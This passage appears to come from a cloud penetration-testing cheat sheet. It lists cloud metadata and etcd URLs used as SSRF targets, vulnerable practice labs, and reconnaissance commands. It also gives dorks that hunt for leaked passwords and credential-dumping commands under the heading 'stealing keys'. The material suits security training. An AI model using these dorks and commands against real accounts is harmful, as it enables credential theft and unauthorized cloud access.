Kubernetes ETCD 
http://127.0.0.1:2379/v2/keys/?recursive=true
Alibaba Cloud
http://100.100.100.200/latest/meta-data/*
Microsoft Azure
http://169.254.169.254/metadata/v1/*

```

![](/files/-M72_N7ozBCyhw4GRQNJ)

## Cloud Labs

* AWS Labs&#x20;
  * flaws.cloud&#x20;
  * flaws2.cloud&#x20;
  * <https://github.com/OWASP/Serverless-Goat&#x20>;
  * <https://n0j.github.io/2017/10/02/aws-s3-ctf.html>
  * <https://github.com/RhinoSecurityLabs/cloudgoat&#x20>;
  * <https://github.com/appsecco/attacking-cloudgoat2&#x20>;
  * <https://github.com/m6a-UdS/dvca&#x20>;
  * <https://github.com/OWASP/DVSA&#x20>;
  * <https://github.com/nccgroup/sadcloud&#x20>;
  * <https://github.com/torque59/AWS-Vulnerable-Lambda>
  * <https://github.com/wickett/lambhack&#x20>;
  * <https://github.com/BishopFox/iam-vulnerable&#x20>;
* GCP Labs&#x20;
  * <http://thunder-ctf.cloud/> <https://gcpgoat.joshuajebaraj.com/>
* Azure Labs&#x20;
  * <https://github.com/azurecitadel/azure-security-lab>


# Cloud Info Gathering

```
# Azure IP Ranges
https://azurerange.azurewebsites.net/

# AWS IP Range
https://ip-ranges.amazonaws.com/ip-ranges.json
- Get creation date
jq .createDate < ip-ranges.json
- Get info for specific region
jq  '.prefixes[] | select(.region=="us-east-1")' < ip-ranges.json
- Get all IPs
jq -r '.prefixes | .[].ip_prefix' < ip-ranges.json

# Online services
https://viewdns.info/
https://securitytrails.com/
https://www.shodan.io/search?query=net%3A%2234.227.211.0%2F24%22
https://censys.io/ipv4?q=s3

#Azure AD Recon
https://github.com/dievus/Oh365UserFinder

#AWS Recon
https://github.com/righteousgambit/quiet-riot

# Google Dorks
site:*.amazonaws.com -www "compute"
site:*.amazonaws.com -www "compute" "ap-south-1"
site:pastebin.com "rds.amazonaws.com" "u " pass OR password
https://storage.googleapis.com/COMPANY

# Check certificate transparency logs
https://crt.sh
%.netfilx.com

# Find Cloud Services
python3 cloud_enum.py -k keywork
python3 CloudScraper.py -u https://example.com

# AWS Buckets
# Dork
site:*.s3.amazonaws.com ext:xls | ext:xlsx | ext:csv password|passwd|pass user|username|uid|email

# AWS discovering, stealing keys and endpoints
# Nimbostratus - check against acutal profile
https://github.com/andresriancho/nimbostratus
python nimbostratus dump-credentials

# ScoutSuite - audit AWS, GCP and Azure clouds
scout --provider aws --profile stolen

# Prowler - AWS security assessment, auditing and hardening
https://github.com/toniblyx/prowler
```




---

[Next Page](/llms-full.txt/1)

